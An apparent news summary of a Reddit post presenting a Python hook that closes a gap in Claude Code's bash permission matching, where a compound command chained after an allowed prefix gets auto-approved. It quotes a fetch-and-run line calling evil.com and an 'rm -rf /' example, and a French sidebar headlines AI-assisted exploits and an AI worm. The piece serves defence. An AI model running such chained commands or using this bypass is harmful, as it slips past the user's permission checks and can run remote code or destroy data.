Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass

Security Gap in Claude Code's Permission System
Claude Code's permission system has a vulnerability where compound bash commands can bypass allow/deny patterns. When you allow a command like Bash(git status:*), Claude Code matches the entire command string against that pattern. This means a compound command like git status && curl -s http://evil.com | sh would match git status* and get auto-approved, even though it chains in curl and sh commands.
The Solution: claude-hooks
The fix is a single Python script called claude-hooks that runs as a PreToolUse hook. It performs several key functions:
- Decomposes compound commands by splitting on
&&,||,;,|, newlines, and extracts$()and backtick subshell contents recursively - Normalizes each sub-command by stripping env var prefixes, I/O redirections, heredoc bodies, and shell keywords
- Checks each sub-command individually against your existing
permissions.allowandpermissions.denypatterns - Deny wins — if any sub-command matches a deny pattern, the whole command is denied
- All must allow — auto-approve only happens when every sub-command matches an allow pattern
- Falls through gracefully — if any sub-command is unknown, you still get the normal permission prompt
Setup Instructions
Installation takes about 30 seconds:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyAdd to ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}The tool has no dependencies beyond Python 3 and requires zero configuration — it reads your existing permission patterns.
Example Behavior
git status: Allowed both with and without hookgit add . && git commit -m "msg": Allowed both with and without hook (both matchgit *)git status && rm -rf /: Allowed without hook, prompt shown with hook (rm -rf /has no allow)`npm test | tee output.log`: AllowedFOO=bar git push: Might not match without hook, allowed with hook (env var stripped)
The repository is available at https://github.com/liberzon/claude-hooks under MIT license.
📖 Read the full source: r/ClaudeAI
👀 See Also

Exploitation assistée par LLM : Aperçu du Mythos d'Anthropic a aidé à construire la première exploitation publique du noyau macOS sur Apple M5 en cinq jours.
En utilisant Mythos Preview d'Anthropic, la société de sécurité Calif a construit le premier exploit public de corruption mémoire du noyau macOS sur le silicium M5 d'Apple en cinq jours, brisant ainsi la sécurité matérielle MIE qu'Apple a mis cinq ans à développer.

Coldkey : Outil de génération de clés et de sauvegarde papier pour l'ère post-quantique
Coldkey génère des clés age post-quantiques (ML-KEM-768 + X25519) et produit des sauvegardes HTML imprimables d'une seule page avec des codes QR pour le stockage hors ligne.

Des chercheurs de l'U de T démontrent un ver d'IA alimentable par des modèles ouverts gratuits
Des chercheurs de l'Université de Toronto ont démontré le premier ver informatique alimenté par l'IA qui adapte sa stratégie de propagation à l'aide de modèles open-weight accessibles au public, ciblant n'importe quel appareil en ligne.

Les correctifs de sécurité d'OpenClaw corrigent l'exposition des identifiants par code QR et les vulnérabilités de chargement automatique des plugins.
OpenClaw a publié deux correctifs de sécurité pour des vulnérabilités critiques : les codes QR intégraient des identifiants de passerelle permanents sans expiration, et les plugins se chargeaient automatiquement depuis des dépôts clonés sans confirmation de l'utilisateur. La version 2026.3.12 corrige ces deux problèmes.